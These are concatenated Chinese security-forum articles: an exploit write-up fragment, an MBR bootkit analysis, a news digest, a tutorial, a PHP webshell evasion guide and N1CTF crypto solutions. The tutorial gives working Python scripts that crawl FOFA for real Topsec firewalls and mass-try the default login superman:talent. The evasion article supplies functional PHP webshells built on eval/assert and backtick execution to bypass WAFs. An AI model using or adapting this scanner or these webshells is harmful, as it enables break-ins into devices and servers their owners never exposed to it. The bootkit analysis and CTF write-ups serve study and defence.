不同的是之前释放指针指向的EDI+1Ch中的无效内容现在被替换成了0x20302228，这个值会被保存到EAX寄存器中，而后0x20302228内存处的值又被赋值给了ESI寄存器，即通过DEPS堆喷设置的0x6161615d。最后程序会调用ESI+4指向的地址，也就是我们可控的0x61616161地址处的值，从而证明了代码的执行。
### 0x08 后续工作
后续的工作就是要把此漏洞转换成真正可利用的exploit，不过由于程序存在DEP和ASLR保护，我们还需要借此实现相关的infoleak，我之前花了些时间试图借助https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf
中的内容来寻找灵感，但最终还是没能再继续下去。你要是有什么idea欢迎联系我一起讨论，如果能找到将这个bug转换成infoleak的方法，那么我会非常感兴趣的。
* * * | 社区文章 |
# 【木马分析】“隐魂”木马篡改主页分析：史上反侦察力最强木马的犯罪素描
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
前不久，360安全中心率先发布了MBR木马——“隐魂”的预警，对木马入侵过程分析（史上反侦察力最强木马“隐魂”：撑起色情播放器百万推广陷阱<http://bobao.360.cn/learning/detail/4238.html>）后发现，“隐魂”的反侦察能力极高，堪称迄今最复杂的MBR木马。360安全中心随即对该木马展开了持续追踪，本篇是对其篡改主页的行为详细介绍。
**1 摘要**
首先，我们来进一步了解“隐魂”木马的反侦察能力和复杂性。
（1）隐蔽性极高：“隐魂”木马会通过挂钩磁盘底层驱动实现自我保护，普通的ARK工具或查杀类工具无法深入磁盘底层，难以有效检测到MBR被修改；同时，应用层代码在TimerQueue中调度，目前除了利用调试器进行反复测试外，根本没有其他方法能检测该系统触发机制；另外，内核LoadImage挂钩代码在Nt节的空白区域，这部分在未知内存区域执行的代码也是检测工具的一大盲区。
（2）对抗性极强：为了与检测工具及杀软对抗，“隐魂”使用签名和PDB文件名方式，禁止一系列驱动加载，即使加载成功相关功能函数也会被IAT挂钩。
（3）兼容性极高：“隐魂”是目前支持系统范围最广的MBR木马，从Windows
XP到Win10X64位最新系统的均支持，兼容性远远超过2016年开始活跃的暗云Ⅲ木马。
其次，我们再来说一下“隐魂”木马在篡改主页时是如何清理犯罪现场的。
（1）声东击西：不同于直接在浏览器进程中添加参数的劫持方式，“隐魂”为了躲避查杀，采取了结束原浏览器进程——创建新的系统进程——再创建新浏览器进程的方式绕了个大圈才完成主页篡改。
（2）釜底抽薪：“隐魂”会把大多数杀软的正常挂钩全部抹掉，使得浏览器主页失去安全类软件的保护。
接下来，将从WindowsNt系统加载前 (BootKit) 、系统加载后(RootKit)、注入桌面进程explorer
改首页共三部分对木马的执行流程进行详细分析。
**2 NT系统加载前**
**2.1 MBR部分**
将自身代码拷贝到 0x600处执行。
图1
而后使用int 13 42扩展读功能读取0x1个扇区 到 0x7c00，
位置是由bp指定的。
图2
读取：
图3
而后跳转到 0x7c00处继续执行。
图4
跳转:
图5
并将自身代码再次拷贝到0x600处执行:
图6
这次相同位置连续读取 0x20个扇区：
图7
定位位置:
图8
读取20个扇区:
图9
然后将代码拷贝到 0x101000 大小为0x1400。
图10
而后跳转到 0x10100处执行:
图11
然后预留高端地址0x14 = 20KB页面 用来存放代码。
图12
将自身代码拷贝到高端地址:
图13
跳转到 0x9a400 处执行挂钩代码。
图14
然后挂钩int13中断:
图15
挂钩后：
图16
挂钩处代码为 0x9a400 + 45 = 0x9a445。
图17
**2.2 Int13挂钩部分**
Int13挂钩中断被执行，搜索硬编码并挂钩:
图18
挂钩函数为:
图19
挂钩后函数被修改为:
图20
**2.3 BootMgr部分**
当系统控制权交给BootMgr 16位代码后，
准备转移给32位代码执行时挂钩中断被执行。
相关函数为：
图21
跳转：
然后直接搜0x400000 地址 并挂钩
图22
从BootMgr PE节信息中搜可执行代码，自带反汇编引擎搜索ImgpLoadPEImage对
LdrRelocateImageWithBias的调用，然后Patch对该函数调用。
挂钩前该处调用为:
图23
特征码为：
图24
搜到后 特征码 0xc0000221 及 0x20B后，
找到下一个Call调用 机器码为0xE8且指令长度为5即为搜索成功。
图25
后挂钩 ：
图26
挂钩后调用为：
图27
Winload挂钩函数为：
图28
**2.4 WinLoad部分**
当系统执行到bootmgr!BmpTransferExecution 将控制权转移给Winload时候，
挂钩函数HookWinLoad被执行。
先将 LdrRelocateImageWithBias 函数地址放置在堆栈上，等挂钩Winload函数执行完毕后就
调用LdrRelocateImageWithBias 接着执行原来的流程。
后续的挂钩执行都是如此，并未恢复原先代码。
图29
调用为：
图30
按系统分别挂钩：
图31
然后同样是搜索ImgpLoadPEImage对
LdrRelocateImageWithBias的调用，然后Patch对该函数调用，该部分代码同BootMgr一样。
挂钩后函数为:
图32
先将恢复对函数LdrRelocateImageWithBias的调用：
图33
而后将 0x9aa9a函数放置在堆栈上等待被调用:
图34
LdrRelocateImageWithBias调用完成后 HooNt函数被执行(0x9aa9a)：
图35
先恢复堆栈 后续执行流程 将winload!ImgpLoadPEImage+0x67d 放置在返回地址处：
图36
通过反汇编引擎搜调用代码 搜IoInitSystem 对 IopInitializeBootDrivers的调用。
图37
**
**
**3 NT系统加载后**
**3.1 加载ShellCode部分**
当系统执行到 Nt 中 IoInitSystem 对 IopInitializeBootDrivers调用时候，恶意代码被执行。
先将函数 IopInitializeBootDrivers
放置堆栈上，然后关闭写保护恢复原始挂钩处代码，而后将后续加载木马代码函数地址（LoadTheShellCode）放置堆栈上。
图38
当函数IopInitializeBootDrivers 调用完成后， 再次将Nt正确函数返回地址放置堆栈上。
图39
而后将ShllCode1代码映射， 大小为0xca0。
图40
校验代码并执行。
**3.2 ShellCode1部分**
该部分功能为读取磁盘指定位置代码并加载ShellCode2。
先获取相关函数地址，
后读取磁盘数据 检测完整并获取大小， 大小为0x4a000。
图41
然后为第二块ShellCode申请内存 大小为 0x4c08。
申请后执行：
图42
**3.3 ShellCode2部分**
该部分主要为解压之前读取的资源数据并查找加载其中/bin/i386/bootmgr NE文件并加载。
校验完整性 ，并解压数据:
图43
然后为第三块NE 格式ShellCode申请空间 大小为0x1f00，准备执行，并将资源作为参数传入。
图44
**3.4 ShellCode3部分**
主要为加载 /bin/i386/kernel 到内存并执行，Kenel部分为内核关键代码部分。
图45
拷贝NE文件资源，大小为0x10380：
图46
而后帮第四块ShellCode修正导入表重定位并执行。
图47
**3.5 ShellCode4部分**
该部分为内核关键代码，包含注入代码挂钩LoadImage 反内核调试代码。
入口出先断开内核调试：
图48
而后读取磁盘数据并保存：
图49
创建设备跟应用层交互：
图50
而后重载内核获取一些导出符号，占满情况下，用于清理挂钩回调:
图51
设置LoadImage回调 主要后续用于APC注入svchost跟explorer用来修改用户主页。
将真正函数地址LoadImageNotify作为参数传入。
图52
查找节后面空闲区域 ，将自身挂钩代码拷贝过去。
图53
拷贝代码：
图54
代码为：
图55
其中AAAAAAAA 为占位后续将填入实际地址。
然后加载第五块ShellCode,并且挂钩：
图56
而该挂钩会反复被检测执行:
图57
挂钩函数为：
图58
LoadImage中判断svchost.exe进程创建:
图59
如果是svchost.exe进程创建：
图60
判断是否为指定的svchost.exe：
图 61
主要通过命令行方式判断：
图62
匹配命令行后准备注入代码：
图63
将APC NormalRoutine设置为Ne 入口点 得到执行：
图64
Exploer注入代码：
图65
**3.6 ShellCode5部分**
该内核块功能主要为防止被检出查杀。
获取签名公司列表信息：
图66
代码：
图67
而后调用ShellCode4中设置LoadImage回调函数。
图68
在回调中判断驱动是否有PDB信息，分三种情况Patch
1 如果没有PDB符号信息且匹配签名 则直接Patch入口点。
图69
2 如果有PDB信息，一些常见的工具，也Patch入口点，如gmer.pdb ,Win64AST.pdb。
图70
3 如果Pdb有 且hash 比对一致则导入表 Hook：
图71
还会IAT Hook文件操作函数，防止查杀类驱动读取文件恢复钩子。
ZwCreateFile:
图72
IofCallDriver:
图73
防止文件簇读取方式：
图74
获取文件保护列表函数：
图75
Patch函数：
图76
图 77
**
**
**4** **篡改主页部分**
**4.1 ShellCode1部分**
APC注入Explorer.exe后，入口点修正导入表 ，创建线程并加载改首页模块。
图78
线程函数中申请执行空间，并将代码拷贝。
高端地址执行：
图79
然后修正导入表，重定位：
图 80
执行入口点函数：
图81
**4.2 ShellCode2部分**
初始化系统模块名字，挂钩时候使用：
图82
初始化恢复钩子列表，发现这些函数一旦被挂钩就直接恢复。
图83
将原始代码备份，并保存到链表中，头部指令最多长度为0x20。
图84
然后打开首页页面地址：
图 85
其中共享内存区数据为：
图86
然后枚举所有加载模块 IAT挂钩CreateProcessW函数。
图87
挂钩回调函数为：
图88
主要挂钩Shell32.dll对CreateProcessW函数调用。而后检测之前的初始化的系统函数是否被Hook，进行恢复。
图89
CreateProcessW挂钩中判断创建进程是否为浏览器列表之一：
图90
浏览器列表为：
图91
而后创建verclsid.exe 为傀儡进程，修改主页：
图92
而后创建傀儡进程：
图93
将代码映射到傀儡进程QueueUserAPC APC函数：
图94
**4.3 ShellCode3部分**
该部分代码为QueueUserAPC 注入到 verclsid.exe 中执行。
入口点为从PEB LDR中获取信息，修正重定位修正导入表：
图95
然后Patch傀儡进程入口点。
图96
而后在调用CreateProcessW创建带有命令行的浏览器进程
图97
完成修改主页：
图98
**svshost部分**
主要为创建TimerQueue中 回写LoadImage回调并回写MBR：
该部分代码难以有效检出。
创建：
图99
给驱动发送命令写入：
图100
**
**
**5 尾声**
“隐魂”木马创下了两周内攻击量上百万次的记录，可谓迄今传播速度最快的MBR木马。其高超的反侦察能力及复杂的利用技巧让不少检测手段力不从心，如今其攻势虽然放缓但远不曾停止，被推广利益驱使的作者很有可能继续兴风作浪，通过远程控制的方式实施对个人数据及财物的大规模攻击。
不过网民们也不用过分担心，360安全卫士不仅率先对“隐魂”木马展开了查杀，还可以完美拦截各类MBR顽固木马的攻击。目前，360安全中心也正在对“隐魂”木马进行持续追踪，如有新成果将第一时间与大家分享。
图101 | 社区文章 |
# 3月10日安全热点 – Slingshot APT / Qwerty 勒索软件
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Cyber-espionage组织通过MicroTik路由器感染受害者设备
<https://www.bleepingcomputer.com/news/security/cyber-espionage-group-infects-victims-through-microtik-routers/>
<https://thehackernews.com/2018/03/slingshot-router-hacking.html>
<https://www.theregister.co.uk/2018/03/09/slingshot_malware_uses_cunning_plan_to_find_a_route_to_sysadmins/>
Qwerty 勒索软件利用GnuPG加密受害者文件
<https://www.bleepingcomputer.com/news/security/qwerty-ransomware-utilizes-gnupg-to-encrypt-a-victims-files/>
Memfixed工具有助于缓解基于Memcached的DDoS攻击
<https://www.bleepingcomputer.com/news/security/memfixed-tool-helps-mitigate-memcached-based-ddos-attacks/>
利用EternalBlue NSA漏洞感染服务器进行挖矿
<http://www.zdnet.com/article/cryptojacking-attack-uses-leaked-nsa-exploit/>
俄罗斯黑客在短短一个晚上从32台ATM偷走了860,000欧元
> [Russian hackers stole 860,000 euros from 32 ATMs belonging to the
> Raiffeisen Romania in just one
> night](http://securityaffairs.co/wordpress/70046/cyber-crime/raiffeisen-> cyber-heist.html)
只有一半支付勒索软件赎金的人可以恢复他们的数据
<https://www.bleepingcomputer.com/news/security/only-half-of-those-who-paid-a-ransomware-were-able-to-recover-their-data/>
加热器也能挖矿？？
<https://www.bleepingcomputer.com/news/cryptocurrency/this-heater-not-only-heats-your-home-but-also-mines-ethereum/>
## 技术类
0xB8 威胁情报体系与企业SIEM结合的那些套路——威胁情报的需求判定和选择
<https://zhuanlan.zhihu.com/p/34336700?group_id=955089373448953856>
威胁情报之落地实战-由灰向黑篇
<https://mp.weixin.qq.com/s/-EcZnVvwBo2AEO7aHUIvMQ>
以“威胁应对”为中心,看企业信息安全能力建设
<https://www.sec-un.org/%E4%BB%A5%E5%A8%81%E8%83%81%E5%BA%94%E5%AF%B9%E4%B8%BA%E4%B8%AD%E5%BF%83%E7%9C%8B%E4%BC%81%E4%B8%9A%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E8%83%BD%E5%8A%9B%E5%BB%BA%E8%AE%BE-%E6%9D%8E/>
Cisco Prime Collaboration配置硬编码密码漏洞
<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180307-cpcp>
Echidna，以太坊的智能模糊器
[Echidna, a smart fuzzer for
Ethereum](https://blog.trailofbits.com/2018/03/09/echidna-a-smart-fuzzer-for-ethereum/)
获取任何Facebook用户的朋友列表和部分支付卡的详细信息
https://www.josipfranjkovic.com/blog/facebook-friendlist-paymentcard-leak
在您的内网中获得域管理员权限的五大方法
https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa
TOMCAT安全测试概要
<http://www.91ri.org/17611.html>
Masha and these Bears——2018 Sofacy Activity
[https://securelist.com/masha-and-these-bears/84311/；](https://securelist.com/masha-and-these-bears/84311/)
The Slingshot APT FAQ
<https://securelist.com/apt-slingshot/84312/>
PIvirus——linux x86_64 ELF病毒示例
<https://github.com/En14c/PIvirus> | 社区文章 |
**前言：在一次测试中，偶遇了天融信的防火墙，弱口令测试未果，并且天融信的防火墙一般错误五次后会会锁定登录，所以也不能爆破弱口令，那么现实中这种系统还是很多的，本篇文章介绍一下利用fofa爬取全网相同系统服务器，然后批量检测默认用户名密码的脚本的编写，本篇就以天融信的防火墙弱口令为例。**
我们的思路是通过fofa搜索目标系统服务器独有特征，例如系统的一些独有页面，然后脚本爬取我们需要的链接收集起来，再利用脚本批量检测默认用户名密码即可。
（有了这个想法后百度了一下，已经有师傅写过fofa爬链接的脚本了，那就不造轮子了，拿来改一下吧，精简为主，代码也比较简单，师傅已经写的很好了，原文链接：<https://www.cnblogs.com/Cl0ud/p/12384457.html）>
## 前期准备
一：登录会员fofa账号，不是fofa会员的话只能查看五页内容，想要爬取所有符合特征的链接，就需要会员了，普通会员就可以了，这个就需要自行解决啦！登录之后我们获取当前登录账户的cookie值以做后面爬取链接时使用。
二：找到目标防火墙的特征url："/cgi/maincgi.cgi"，fofa搜索一些就可以找到相同的目标系统了,此时链接可以删除q参数，只要qbase64参数也是一样的，<https://fofa.so/result?qbase64=Ii9jZ2kvbWFpbmNnaS5jZ2ki，我们需要的是qbase64参数：Ii9jZ2kvbWFpbmNnaS5jZ2ki>
三：此时所有的链接都是天融信防火墙的后台登录页面了，可以看到有一个登录框，输入账号密码登录，我们输入默认的账号:密码→superman:talent，然后点击登录并抓包
**前期工作已经准备好了，接下来就需要写脚本爬取需要测试的链接并且批量验证了，为了方便后期的更改，爬取和检测弱口令分成两个脚本。**
## 脚本部分（分为链接爬取和批量检测）
脚本所需环境为python2
### **fofa链接爬取脚本**
编码的问题真的很烦，各种报错，脚本输出都为英文，并且我们直接将需要用到的cookie，和qbase参数直接编辑到代码中，各位用的时候自行代码修改就可以了~
import requests
from lxml import etree
import re
import time
cookie = "1"
qbase64 = "Ii9jZ2kvbWFpbmNnaS5jZ2ki"
def spider():
header = {
"Connection": "keep-alive",
"Cookie": "_fofapro_ars_session=" + cookie,
}
print("spider website is :https://fofa.so/result?qbase64=" + qbase64)
html = requests.get(url="https://fofa.so/result?qbase64=" + qbase64, headers=header).text
pagenum = re.findall('>(\d*)</a> <a class="next_page" rel="next"', html)
print("have page: " + pagenum[0])
stop_page = raw_input("please input stop page: \n")
doc = open("url.txt", "a+")
for i in range(1, int(pagenum[0])):
print("Now write " + str(i) + " page")
pageurl = requests.get('https://fofa.so/result?page=' + str(i) + '&qbase64=' + qbase64, headers=header)
tree = etree.HTML(pageurl.text)
urllist = tree.xpath('/html/body/div[@id="result"]/div[@class="main-result clearfix padTop90"]/div[@class="result-right-list"]/div[@class="result-right-list-view"]/div[@class="right-list-view-item clearfix"]/div[@class="fl box-sizing"]/div[@class="re-domain"]/a[@target="_blank"]/@href')
for j in urllist:
doc.write(j + "\n")
if i == int(stop_page):
break
time.sleep(10)
doc.close()
print("OK,Spider is End .")
def main():
spider()
if __name__ == '__main__':
main()
在前期准备中我们已经获取了fofa登录用户的cookie，以及我们搜索的qbase64参数，修改上面代码中的cookie和qbase64的值，然后python
脚本名.py，输入要停止的页码后，等待运行结束，结束后同目录下的url.txt文件中就是所收集的目标系统url。运行截图如下。
### **批量检测脚本**
import requests
import time
payload = {
"username":"superman",
"passwd":"talent",
"loginSubmitIpt":''
}
'''proxy='127.0.0.1:1080'
proxies={
'http':'http://' + proxy,
'https':'https://' + proxy
}'''
header={'Connection': 'close'}
f = open("url.txt", "r")
r = open("url_x.txt","w")
lines = f.readlines()
i=0
x=0
for line in lines:
try:
response = requests.post(line+"/cgi/maincgi.cgi?Url=Index",data = payload,headers = header,timeout=5,verify=False)
except:
continue
else:
i=i+1
print(str(i))
if "maincgi.cgi?Url=Main" in (response.text.replace(u'\xa9', u'')):
r.write(line + "\n")
x=x+1
print(str(i)+"is being detected")
print("A vulnerability link has been detected" + str(x))
f.close()
r.close()
如果不用try的话，有一个报错，如下图，百度了一下，网上的方法都没有解决，经过测试，部分链接会报异常，部分链接是没问题的，所以我们这里用try来忽略这些异常的请求，如果有师傅有解决方法的话，欢迎提出建议哦~
脚本运行后，会读取url.txt的链接进行逐条检测默认口令，并输出正在检测第几条，在检测到弱口令系统后会输出已经检测出的数量。
检测出的弱口令系统链接也会输出出来，并且会将存在弱口令的系统链接保存在url_x.txt中，如下图：
脚本在经历了亿小会儿的运行之后，结果也出来了，那么基本全网的天融信的默认口令系统也都在这里了，如下图：
**思路呢就是这样的，批量爬取，批量检测，更多的利用方式我就不说啦，各位按照需求自行修改代码就可以啦，缺点还是有不少的，期待各位师傅们提出意见和建议~** | 社区文章 |
# webshell免杀中符号的妙用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
提到webshell免杀，方法无外乎对静态特征的变形，编码，或利用语言特性绕过。
计算机中有很多符号，它们在编程语言中占据一席之地，这些符号作为运算符号，标识符号或起到特殊含义。
本文以PHP为例介绍一些利用符号免杀方法。
## 免杀
#### WAF检测
通过对安全狗、护卫神、D盾等常见软WAF的测试，发现WAF查杀主要依赖两种检测方法
1.静态检测：通过匹配特征来查找webshell。如危险函数，文件特征码等。
2.语法语义检测：通过对语法语义的分析，通过对代码抽丝剥茧实现对危险函数捕捉，例如: 危险函数(可控参数)
#### 括号
**圆括号：** 在编程中，主要用在表达式、函数参数、指针定义等方面
**方括号：** 一般用于定义数组
**花括号：** 定义变量处理，字符串变量后面有{ }相当于数组、规定作用域
在变量间接引用中进行定界，避免歧义。例如 \${\$my_var[8]}与\${\$my_var}[8]的区分
${xxx} 括起来的要当成变量处理。
$a{4} 和中括号[]一样都是把某个字符串变量当成数组处理
利用花括号的特性，在双引号对声明变量，并利用圆括号干扰waf对语法的检测
<?php
$_=$_GET['pass'];
$white = "(${eval($_)})";
#### 引号
**单引号** ：被单引号包裹的特殊字符将无意义，内容将作为字符串。
**双引号** ：与单引号类似，但被包裹中的特殊符号将会解析，例如 $ 符号
**反引号** ：执行运算符，在多数语言中可进行执行命令。php中（执行运算符）与shell_exec函数等同
在php语言的特性中，双引号内的变量会被解析。
这时$b的值为 assert，可利用php的此特性进行拼接字符或是绕过语法。
$a="s"."e"."r";
$b="as$a".'t';
利用执行运算符执行命令，避免了检测危险函数实现免杀。
function fun($p){ echo `$p`; }
$a=$_GET['x'];
fun($a);
#### 斜线
**反斜线** ： 反斜线一般是起到转义字符作用。
例如
\" 双引号 "
\\ 反斜线 \
\n 换行
\r 送出
\t 跳位(TAB)
\\$ 表示 $
**反斜线 在php中还有一种用法，就是命名空间**
函数前加“\”反斜线调用命名空间下的函数，如果单独使用，就是调用根命名空间
利用用命名空间干扰函数的特征，\n来干扰对语法的检测
<?php
$a = $_GET['a'];
$b = "\n";
\assert($b.=$a);
?>
#### 引申
那么是否还有其它符号可以免杀？下面以php为例再介绍几种符号：
^ ：(xor)异或运算符
~ ：(not)取反运算符
++ ：递增运算符
-- ： 递减运算符
## 总结
上文简单介绍了一些符号在免杀中的用法，只要摸透了WAF的脾气（查杀原理），绕过的方法也就层出不穷。 | 社区文章 |
# 分析N1CTF 2021中Crypto方向题目
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
N1CTF 2021中主要有4道考察Crypto方向的题目，题目整体难度相对较高，在这里对这4道题目进行一下分析。
## checkin
Name | Category | Points | Solves
---|---|---|---
checkin | CRYPTO | 624 / 1000 | 7
[attachments](https://github.com/roadicing/ctf-writeups/tree/main/2021/n1ctf/checkin/attachments).
### 题目描述
> None
### 题目描述
本题中未知量`x`的表达式为：
x = 2021 * p + 1120 * q
且未知量`x`和已知量`h`满足：
x + x^(-1) ≡ h (MOD N)
同余式两边同乘`x`，移项，得：
x^2 + 1 - h * x ≡ 0 (MOD N)
同时本题还提供了512位素数`p`的高22位`p_0`，那么我们借助`p_0`计算出`x`的一个近似估计`x_approx`：
x_approx = 2021 * (p_0 << 490) + 1120 * (N // (p_0 << 490))
`x`同该近似估计`x_approx`之间的误差`x_diff`约为500位，如果我们将`x_diff`看作一个新的未知量，根据`x`和`h`的模`N`同余方程，此时我们可以设关于`x_diff`的模`N`多项式`f`为：
f(x_diff) = (xx + x_diff)^2 + 1 - h * (xx + x_diff)
此时500位左右的`x_diff`可以看成模`N`同余方程`f(x_diff) ≡ 0 (MOD
N)`的一个小整数解，我们可以使用CopperSmith攻击求出。
这里需要注意得是，SageMath中`small_roots`方法的`epsilon`参数的默认值为0.05，该默认参数下的bound不足以解出本题的小整数解，根据`1/2
* N^(beta^2 // delta -epsilon)`我们可以直接调整`epsilon`的值为0.01，但是此时`small_roots`方法将会在100×102的矩阵上应用LLL算法，造成非常大的时间开销，我们可以在此基础上进行调参，经过测试，将`epsilon`的值略上调为0.02后，此时`small_roots`方法可以在约1
min内完成计算，得到`x_diff`之后，将其加上`x_approx`即可得到`x`。
拿到`x`的值后，此时联立`x = 2021 * p + 1120 * q`和`N = p *
q`即可分解`N`，继而计算出私钥`d`、解密`FLAG`的密文拿到`FLAG`。
### 解题脚本
#!/usr/bin/env sage
from Crypto.Util.number import long_to_bytes
N = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793
ct = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833
h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806
p_0 = 4055618
p_approx = p_0 << 490
x_approx = 2021 * p_approx + 1120 * (N // p_approx)
P.<x_diff> = PolynomialRing(Zmod(N))
f = (x_approx + x_diff)^2 + 1 - h * (x_approx + x_diff)
res = f.small_roots(X = 2^500, epsilon = 0.02)
x_diff = Integer(res[0])
x = x_approx + x_diff
assert (h == (inverse_mod(x, N) + x) % N)
p = var('p')
q = var('q')
res = solve([x == 2021 * p + 1120 * q, N == p * q], p, q)
p = Integer(res[0][0].rhs())
q = Integer(res[0][1].rhs())
assert (p * q == N)
d = inverse_mod(65537, (p - 1) * (q - 1))
pt = pow(ct, d, N)
FLAG = long_to_bytes(pt)
print(FLAG)
# n1ctf{093fd4c4-5cc9-427e-98ef-5a04914c8b4e}
## n1ogin
Name | Category | Points | Solves
---|---|---|---
n1ogin | CRYPTO | 624 / 1000 | 7
### 题目描述
> To prevent any adversary sitting in the middle from eavesdropping, we apply
> hybrid encryption in our n1ogin system.
>
> nc 43.155.59.224 7777
[attachments](https://github.com/roadicing/ctf-writeups/tree/main/2021/n1ctf/n1ogin/attachments).
### 题目描述
本题中提供给选手了一份管理员成功登陆系统的流量，在该系统中，传递的消息使用AES-CBC进行加密，其中AES的密钥使用RSA进行加密，需要选手获得管理员的密码来通过管理员身份登陆系统，继而执行flag命令来拿到`FLAG`。
审计服务器端源码可以发现，在对AES进行解密处理时，引入了各种报错提示，其中就包括对`PKCS #7
padding`的报错提示，如果我们可以获取到该报错提示，那么只需对系统进行标准的AES-CBC padding oracle
attack攻击即可解密密文拿到管理员密码，但是问题在于本题中服务器端在输出消息报错时，不管对于哪种类型的错误，均只提示一种错误，因此我们需要找到一种方法，能够根据这一错误提示来获取关于padding是否正确的信息。
经过分析可以发现，如果服务器端通过了padding check，那么接下来就会进入到mac check环节，而在mac
check环节中，进行了7777次哈希运算，这一过程显然会引入一个比较明显的时间开销，而如果没有通过padding
check的话，则会直接报错，即跳过了mac
check环节，那么时间开销就会显著减少，因此我们可以根据服务器返回报错的时间，来判断padding是否正确，即借助基于时延的侧信道攻击（timing
based side channel attack）来构造出一个padding oracle，接下来再利用CBC padding
oracle恢复出明文拿到管理员密码即可。
这里有两个需要注意的地方，一个是在进行侧信道攻击时，由于服务器的响应时间每次存在差异，因此容易出现False
Positive，为了减少这种偶然事件对攻击的影响，我们可以对每次消息重复发送若干轮，只有每一轮的时间开销都大于我们设置的阈值，才视为padding
check通过的情况，而只要有一轮时间开销小于阈值，即视为padding
check失败的情况，从而提高正确率；再一个需要注意的地方是由于明文较长，加上我们前面引入轮数之后会增加时间开销，因此恢复过程相对较慢，但是这里我们不需要恢复全部明文，注意到的管理员的密码字段正好在明文的末尾，而我们的padding
oracle攻击又正好是从最后一个字节开始逐字节向前恢复，因此只需等到管理员密码恢复后即可。
### 解题脚本
#!/usr/bin/env python3
import time
import json
from pwn import *
from tqdm import tqdm
from client import *
IP = b"43.155.59.224"
PORT = 7777
BLOCK_SIZE = 16
# You need to debug this value according to the delay of communication with the server in your environment.
THRESHOLD = 0.10
# Increase the number of rounds to reduce false positives.
ROUNDS = 10
# Get from `packet.pcapng`
PACKET = {"rsa_data": "391b06a1740b8c9cf1c8d2bb66ba5b191caa8534b4be18c22ce81069658dd2cd3ca3a8d1a3fc8dfab4b68a6b076bf89be807404e0a98dd1bf9daaf8ba34e0556131d3e56cae61c0302d24a177481209e82de7ecf91c2fe66aa39162d7af9c2fdabaf0c444badfc6b82b071fda8e3b26d4d3e57dba25c36298601ae0153c73b7469c472ac4702531c38849772e7c6e24313e6eb7def64a7bec1c21150c1fded52b3ca716d4444b4d75836dff8c92a371f6256ee7a48034f6d5ea949d982f9f05c04d3d7cce10bd11b806cc02088b42fa0cb069390700fb586287ba224ea0b210ebd0479a4f1d2ef5f914bcc861125b7d8d714cf0feecb515c1b1ef869e91ca179", "aes_data": "1709bf9489f6df6dc31491cee4711f7a2a3e050f1ed3e9772442e8a8483e341313713383dd31fbf0133d55e977b8edf54ba832002ee4ee52da32c260b083a35b01626201c36dad6fca7b2be2aa03d90bf5c9a601a24149f55cdcd39f0bf6a032bfabeebee5259a21e188f5c5f8776cd9d7c072054781169174bddbc390e6da21bd7b85f76c93f48914fb1958ac89e464511d9a17fb2174aab825cb13eb3f0dfa"}
def send_data(io, data):
time_start = time.time()
io.sendlineafter(b"> ", json.dumps(data))
_ = io.recvline()
time_end = time.time()
return time_end - time_start
def timing_attack(io, data):
for _ in range(ROUNDS):
time_diff = send_data(io, data)
if time_diff > THRESHOLD:
continue
else:
return False
return True
def oracle(io, ct, mac):
data = {"rsa_data" : PACKET["rsa_data"], "aes_data" : (ct + mac).hex()}
return timing_attack(io, data)
def cbc_padding_oracle_attack(io, ct, mac):
ct_blocks = [ct[i:i + BLOCK_SIZE] for i in range(0, len(ct), BLOCK_SIZE)]
pt = b''
for idx in range(1, len(ct_blocks)):
known_ct_block = b''
for pad_len in range(1, BLOCK_SIZE + 1):
for x in tqdm(range(256)):
new_ct_block = bytes([x]) + known_ct_block
new_ct_blocks = ct_blocks[:-idx - 1] + [os.urandom(BLOCK_SIZE - pad_len) + new_ct_block] + [ct_blocks[-idx]]
new_ct = b''.join(new_ct_blocks)
if oracle(io, new_ct, mac):
pt += bytes([pad_len ^ ct_blocks[-idx - 1][-pad_len] ^ x])
known_ct_block = bytes([i ^ pad_len ^ (pad_len + 1) for i in new_ct_block])
print(pt[::-1])
break
return pt[::-1]
aes_data = bytes.fromhex(PACKET["aes_data"])
ct, mac = aes_data[:-16], aes_data[-16:]
io = remote(IP, PORT)
_ = io.recvline()
# We don't need to recover the whole plaintext, just stop the process when the password is recovered.
pt = cbc_padding_oracle_attack(io, ct, mac)
password = b"R,YR35B7^r@'U3FV"
login(io)
'''
username: admin
password: R,YR35B7^r@'U3FV
admin login ok!
[*] Switching to interactive mode
admin@local> flag
n1ctf{R3m0t3_t1m1ng_4ttack_1s_p0ssibl3__4nd_u_sh0uld_v3r1fy_th3_MAC_f1rs7}
'''
## n1token1
Name | Category | Points | Solves
---|---|---|---
n1token1 | CRYPTO | 833 / 1000 | 3
[attachments](https://github.com/roadicing/ctf-writeups/tree/main/2021/n1ctf/n1token1/attachments).
### 题目描述
> None
### 题目描述
本题中采用了类似Rabin解密的运算过程来生成token，对于密文`c`、每个token `t_i`和每个随机数`X_i`，有：
t_i^2 ≡ c^2 * X_i (MOD N)
其中每个`X_i`均由若干素数累乘而来，直到其比特数大于920，这里的素数来自前10000个素数中随机挑选920个素数所构成的集合。相较于1024比特的`c`和`t_i`来讲，这里`X_i`的比特数相对较小，因此我们可以将其看作一个HNP（Hidden
Number Problem）问题，通过LLL格基规约来计算出每个`X_i`。
将上述同余式`X_i`单独作为方程一侧并改写成等式，有：
X_i = t_i^2 * c^(-2) + k_i * N
我们可以列出920个这样的方程，但是这对于LLL算法来讲维数太大了，我们只需选取其中部分进行格基规约即可，以取前64个方程为例，将其用矩阵形式表示，有：
计算出前64个`X_i`的值后，我们可以任取其中一个计算出`c^2 MOD
